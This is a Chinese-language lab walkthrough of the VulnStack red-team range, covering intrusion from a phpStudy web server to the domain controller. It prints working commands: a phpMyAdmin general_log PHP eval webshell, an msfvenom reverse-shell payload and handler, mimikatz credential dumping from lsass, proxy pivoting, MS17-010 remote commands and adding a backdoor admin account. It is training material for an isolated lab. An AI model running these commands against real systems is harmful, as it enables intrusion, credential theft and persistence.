VulnStack之ATT&CK实战系列———红队实战(一)
前言
这个靶场是红日安全团队推出的红队实战系列第一个靶场,其中包括了漏洞利用、内网搜集、横向移动、构建通道、持久控制等多个环节。是一个不错的学习内网渗透的环境,这里仅记录我的打靶学习过程。
环境搭建
靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
文件下载下来有三个压缩包,分别对应域中三台主机:
-
vulnstack-win7 对应Windows 7是Web服务器
-
vulnstack-Win2K3 Metasploitable 对应Windows Server 2003是域成员
-
vulnstack-winserver08 对应Windows Server 2008是域控
网络拓扑示意图:
虚拟机网络配置:
-
Web服务器(Windows 7):需配置为双网卡模式,网络适配器设置为自定义(VMnet1仅主机模式),另外再添加一个网络适配器设置为NAT模式
-
域成员(Windows Server 2003):网络适配器设置为自定义(VMnet1仅主机模式)
-
域控(Windows Server 2008):网络适配器设置为自定义(VMnet1仅主机模式)
-
攻击机(Kali):设置为NAT模式
此时Windows 7和Windows 2003及Windows Server 2008处于同一内网中,kali仅可以访问到windows 7。
虚拟机IP地址分配:
-
kali:外网 192.168.88.128
-
Windows 7:外网 192.168.88.137,内网 193.168.52.143
-
Windows Server 2003:内网 192.168.52.141
-
Windows Server 2008:内网 192.168.52.138
启动Windows 7的C盘下的phpstudy开启web服务,外网可访问:
如果出现错误“phpstudy已经停止工作”,解决方案参考:https://blog.csdn.net/qq_43871179/article/details/125307581
全部都准备完毕以后就可以开始渗透了!
外围打点
信息收集
主机发现:
端口扫描:
首先使用nmap扫一下web服务器的ip地址:
扫到了一个80端口,访问80端口,发现是一个phpStudy探针页面:
暴露了网站绝对路径为C:/phpStudy/WWW,php版本为5.4.45,GPC关闭,支持数据库等信息,底部还有MySQL数据库连接检测的功能。
继续使用nmap扫一下MySQL数据3306端口是否暴露:
可以确定3306端口对公网暴露,测试弱口令root/root是否可以连接数据库:
数据库连接正常:
目录扫描:
继续使用dirsearch扫描一下网站目录:
发现存在phpmyadmin目录。
phpmyadmin全局日志getshell
使用弱口令root/root对phpmyadmin进行登录:
登录成功,尝试是否可以直接写入一句话木马,查看系统变量secure_file_priv
的值:
此处的变量值为NULL,即没设置允许操作的目录,所以没法导入和导出到文件。
试试看能不能通过日志文件来写入一句话木马,查看全局变量general_log
和genera_log_file
的值:
此处全局日志功能是关闭的,若开启后,执行过的sql语句都会保存到stu1.log文件。所以这里开启全局日志,并根据前面网站根目录将日志保存位置修改为C:/phpStudy/WWW/shell.php
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/shell.php';
再次查询全局变量:
查询一句话木马select '<?php eval($_POST[abc]);?>';
写入日志:
使用蚁剑连接一句话木马http://192.168.88.137/shell.php
:
在根目录可以看到除了phpmyadmin,还有一个cms系统yxcms和一个备份文件beifen.rar,到这里后台getshell完成。
内网信息收集
msf上线
通过msf生成一个反弹连接的木马cc.exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f exe -o cc.exe
将msf木马上传至Win7主机(没有杀软不用免杀):
Kali本机使用msf开启监听模式:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.88.128
run
使用蚁剑的虚拟终端执行网站根目录下的cc.exe木马,之后成功获取meterpreter shell:
到这很顺利,基本拿下了web服务器,接下来继续对内网进行渗透。
mimikatz抓取明文密码&hash
通常获取meterpreter shell之后是一个低权限,需要进行提权。但是靶场环境比较简单,使用getuid命令获取到当前的用户是管理员账号GOD\Administrator,并且使用getsystem命令尝试自动提权,很容易就提升到了system权限。
现在是一个比较高的权限,所以直接使用mimikatz来抓取明文密码(mimikatz模块已经合并为kiwi模块,使用kiwi模块需要system权限)。
查看当前系统信息,可以看出目标系统是64位的:
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用,将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。
查看当前进程列表,可以看出lsass进程是以system权限运行,PID为504:
现在需要把meterpreter shell进程迁移到PID为504的lsass.exe进程里:
migrate 504
接着加载kiwi模块,可以直接列举所有凭据:
我比较喜欢mimikatz的功能,信息更全一些:
kiwi_cmd sekurlsa::logonpasswords
获取到的Administrator的明文密码以及LM Hash和NTLM Hash,所以可以尝试域内的域成员和域控横向移动。
域信息收集
域信息的收集就主要包括域内主机系统信息收集,网络拓扑信息收集,漏洞信息收集等。
这里使用shell
切换到目标主机的cmd(chcp 65001可以避免cmd字符中文乱码):
使用systeminfo
获取主机详细信息:
使用net config Workstation
命令查看当前计算机名称以及所在的工作站域等信息:
使用net group /domain
命令查看域内所有用户列表(system权限):
使用net group "domain computers" /domain
命令查看域成员计算机列表(system权限):
使用net group "domain admins" /domain
命令查看域管理员用户(system权限):
综上可以基本判断出:
当前用户是管理员账号GOD\Administrator,当前主机内网ip地址为192.168.52.137,内网网段为192.168.52.0/24,当前域为god.org,本机计算机名称是stu1,域管理员用户是OWA,另外还有两个域用户DEV1和ROOT-TVI862UBEH。
通常我们是不清楚内网拓扑的,所以这里先不着急,继续深入收集内网主机的信息。
目前已知内网网段为192.168.52.0/24,查看arp缓存表,发现另外两台内网主机ip地址分别为192.168.52.138和192.168.52.141,但是目前还不能确定它们的身份。
好消息是Win7已经安装了nmap工具,所以不需要再手动安装了,可以进一步针对192.168.52.0/24内网网段进行信息收集。
对内网网段进行nmap扫描:
cd C:\Program Files (x86)\Nmap && nmap.exe -sS -T4 -A 192.168.52.0/24
拿到了一共三台主机的扫描信息:
192.168.52.138:
Nmap scan report for 192.168.52.138
Host is up (0.00s latency).
Not shown: 982 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-20 12:59:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: god.org, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: god.org, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49161/tcp open msrpc Microsoft Windows RPC
49167/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:22:33:12 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|phone
Running: Microsoft Windows 2008|8.1|7|Phone|Vista
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_7::-:professional cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
OS details: Microsoft Windows Server 2008 R2 or Windows 8.1, Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop
Service Info: Host: OWA; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s
|_nbstat: NetBIOS name: OWA, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:22:33:12 (VMware)
| smb-os-discovery:
| OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: owa
| NetBIOS computer name: OWA\x00
| Domain name: god.org
| Forest name: god.org
| FQDN: owa.god.org
|_ System time: 2024-06-20T21:02:17+08:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-06-20T13:02:17
|_ start_date: 2024-06-19T14:33:31
TRACEROUTE
HOP RTT ADDRESS
1 0.00 ms 192.168.52.138
可以看到192.168.52.138操作系统是Windows Server 2008 R2,计算机名是owa,所以基本可以确定192.168.52.138就是域控。
192.168.52.141:
Nmap scan report for 192.168.52.141
Host is up (0.00s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2003 3790 microsoft-ds
777/tcp open multiling-http?
1025/tcp open msrpc Microsoft Windows RPC
1028/tcp open msrpc Microsoft Windows RPC
1029/tcp open msrpc Microsoft Windows RPC
1030/tcp open msrpc Microsoft Windows RPC
6002/tcp open http SafeNet Sentinel Protection Server 7.3
|_http-server-header: SentinelProtectionServer/7.3
|_http-title: Sentinel License Monitor
7001/tcp open afs3-callback?
7002/tcp open http SafeNet Sentinel Keys License Monitor httpd 1.0 (Java Console)
|_http-server-header: SentinelKeysServer/1.0
|_http-title: Sentinel Keys License Monitor
8099/tcp open http Microsoft IIS httpd 6.0
|_http-server-header: Microsoft-IIS/6.0
|_http-title: The page must be viewed over a secure channel
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port777-TCP:V=7.80%I=7%D=6/20%Time=667427F4%P=i686-pc-windows-windows%r
SF:(TerminalServerCookie,A,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(Kerberos,
SF:5,"\x01\0\t\xe0\x06")%r(SMBProgNeg,5,"\x01\0\t\xe0\x06")%r(TerminalServ
SF:er,A,"\x01\0\t\xe0\x06\x01\0\t\xe0\x06")%r(WMSRequest,5,"\x01\0\t\xe0\x
SF:06");
MAC Address: 00:0C:29:1B:B5:0A (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003
Host script results:
|_clock-skew: mean: -3h59m59s, deviation: 5h39m23s, median: -7h59m58s
|_nbstat: NetBIOS name: ROOT-TVI862UBEH, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:1b:b5:0a (VMware)
| smb-os-discovery:
| OS: Windows Server 2003 3790 (Windows Server 2003 5.2)
| OS CPE: cpe:/o:microsoft:windows_server_2003::-
| Computer name: root-tvi862ubeh
| NetBIOS computer name: ROOT-TVI862UBEH\x00
| Domain name: god.org
| Forest name: god.org
| FQDN: root-tvi862ubeh.god.org
|_ System time: 2024-06-20T21:02:19+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE
HOP RTT ADDRESS
1 0.00 ms 192.168.52.141
可以看到192.168.52.141操作系统是Windows Server 2003,计算机名为root-tvi862ubeh,所以也基本可以确定192.168.52.141是另一个域成员。
192.168.52.143:
Nmap scan report for www.qiyuanxuetang.net (192.168.52.143)
Host is up (0.00s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
1025/tcp open msrpc Microsoft Windows RPC
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC
1028/tcp open msrpc Microsoft Windows RPC
1029/tcp open msrpc Microsoft Windows RPC
1117/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql MySQL (unauthorized)
Device type: general purpose
Running: Microsoft Windows 8.1|7|2008
OS CPE: cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2
OS details: Microsoft Windows 7 or 8.1 R1 or Server 2008 R2 SP1
Network Distance: 0 hops
Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h40m00s, deviation: 4h37m07s, median: 0s
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:01:5e:ae (VMware)
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: stu1
| NetBIOS computer name: STU1\x00
| Domain name: god.org
| Forest name: god.org
| FQDN: stu1.god.org
|_ System time: 2024-06-20T21:04:10+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-06-20T13:04:10
|_ start_date: 2024-06-19T15:38:20
Post-scan script results:
| clock-skew:
| -2h39m59s:
| 192.168.52.138
|_ 192.168.52.143 (www.qiyuanxuetang.net)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (3 hosts up) scanned in 325.12 seconds
192.168.52.143也就是win7本机,计算机名为stu1。
接着使用nmap的脚本进行内网漏洞的扫描:
nmap --script=vuln -p 1-65535 192.168.52.143
扫描发现win7(192.168.52.143)存在ms17-010漏洞。
nmap --script=vuln -p 1-65535 192.168.52.141
扫描发现域成员(192.168.52.141)存在MS08-067和ms17-010漏洞。
nmap --script=vuln -p 1-65535 192.168.52.138
扫描发现域控(192.168.52.138)同样存在ms17-010漏洞。
内网信息的收集到这就基本差不多了,因为Web服务器上来就拿到了管理员system权限,所以说难度降低了不少。
横向移动
现在拿到了Web服务器的meterpreter shell,但是还不能直接访问内网网段。需要添加到目标环境网络的路由,才能使msf可以通过Win7转发访问192.168.25.0/24网段。
使用run get_local_subnets
取目标内网相关信息:
添加去往192.168.52.0/24网段的路由信息:
run autoroute -s 192.168.52.0/24
实际上直接添加到0.0.0.0/0
的路由也可以,Win7主机可达msf也都可以达。
msf+proxychains搭建socks5代理隧道
添加socks代理:
当前使用msf自带的模块对内网的主机进行探测时,msf的流量会根据路由信息直接送到对应的目标网段。但如果使用kali上其他的渗透工具,则需要一个代理帮助转发流量。这里就使用msf作为代理,由msf的路由将流量带入到内网中。具体做法就是加一个socks代理模块,监听本地的端口,然后再通过这个端口将流量转给msf即可。
我使用的是msf6环境,使用socks5代理模块:
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
run
# 默认监听在1080端口
编辑/etc/proxychains.conf
文件加上socks5代理服务器和端口:
试一试proxychains4代理本地的nmap能否扫到内网的域控:
proxychains4 nmap -sT -Pn 192.168.52.138 -p 445
看到可以成功访问,但是需要注意的时proxychains4只对tcp流量转发,所以udp和icmp都不能代理转发。所以使用使用proxychains4代理nmap扫描主机时,必须加上-sT和-Pn两个参数。
MS08-067漏洞利用
根据前面信息收集的漏洞扫描结果发现域成员Windows 2003开启了445端口SMB服务,同时也存在MS08-067和MS17-010两个漏洞。
先来看看MS08-067漏洞的利用:
MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。
它影响了某些旧版本的Windows系统,包括:Windows 2000,Windows XP,Windows Server 2003
直接搜一下MS08-067漏洞的exp:
将payload设置为常规的反向tcp连接,试了几次都不成功:
发现有路由,但是ping不通目标主机:
原因很有可能就是只有过去的路由,没有回来的路由,目标主机无法直接连接到攻击机,所以说反向连接行不通。
将payload设置为正向tcp连接bind_tcp试一试:
use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set payload windows/meterpreter/bind_tcp
set lport 4444
run
采用正向tcp连接到445端口,proxychains代理nmap扫描445端口状态正常:
结果还是出现了问题,试了很多次始终无法正常连接(应该不是防火墙的问题),换了其他的正向payload还是无法成功......有可能是我的msf版本比较高导致的无法正常连接。
参考:https://www.cnblogs.com/huaweiyun/p/15559938.html
MS17-010漏洞利用
前面的ms08-067漏洞暂时没有好的利用方案,继续另一个ms17-010漏洞。
永恒之蓝漏洞(ms17-010)是在445端口的SMB服务处理SMBv1请求时存在缓冲区溢出,造成远程代码执行漏洞,受影响的Windows版本有很多。
msf搜到的ms17-010漏洞exp有5种:
挨个试一试:
第一个exploit/windows/smb/ms17_010_eternalblue
模块:
很明显不行,Windows server 2003是32位的,这个模块只支持64的系统。
第二个exploit/windows/smb/ms17_010_psexec
模块,payload还是采用正向tcp连接:
仍然无法有效获取会话。
第三个auxiliary/admin/smb/ms17_010_command
模块执行命令:
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run
执行命令可以成功,可以尝试通过执行命令,开启3389端口进行远程桌面登录:
依次执行:
#开启3389端口
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
#添加用户
set command net user root 8888 /add
#添加管理员权限
set command net localgroup administrators root /add
然后使用添加的用户登录:
proxychains rdesktop 192.168.52.141
前面通过执行whoami命令回显的是sysytem权限,基本上这台域成员就已经拿下了。
获取域控服务器
根据前面信息收集的漏洞扫描结果域控服务器存在MS17-010漏洞,其中exploit/windows/smb/ms17_010_eternalblue
模块和exploit/windows/smb/ms17_010_psexec
模块正向连接仍然不好使。
命令执行模块auxiliary/admin/smb/ms17_010_command
有效果:
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command whoami
run
所以接下来和windows server 2003主机的操作一样了,使用开启3389端口远程桌面登录。
在或者使用mimikatz拿到的域控用户和明文密码,利用wmi的方式拿下域控的shell,然后再尝试提权到system权限。关于wmi的利用后面后单独复现一下。
总结
总之整个打靶过程还是有不少收获的,整个过程大致就是,弱口令登录phpmyadmin,利用日志文件写入一句话木马,Web服务器getshell,利用msf反弹shell,内网扫描信息收集,流量代理转发,最后利用ms17_010漏洞拿下域成员和域控服务器。
其实靶场提供的漏洞环境远不止这些,还有redis getshell,MySQL提权,WMI利用,票据传递等没有复现到,这次记录就先到这里,共勉!
若有错误,欢迎指正!o( ̄▽ ̄)ブ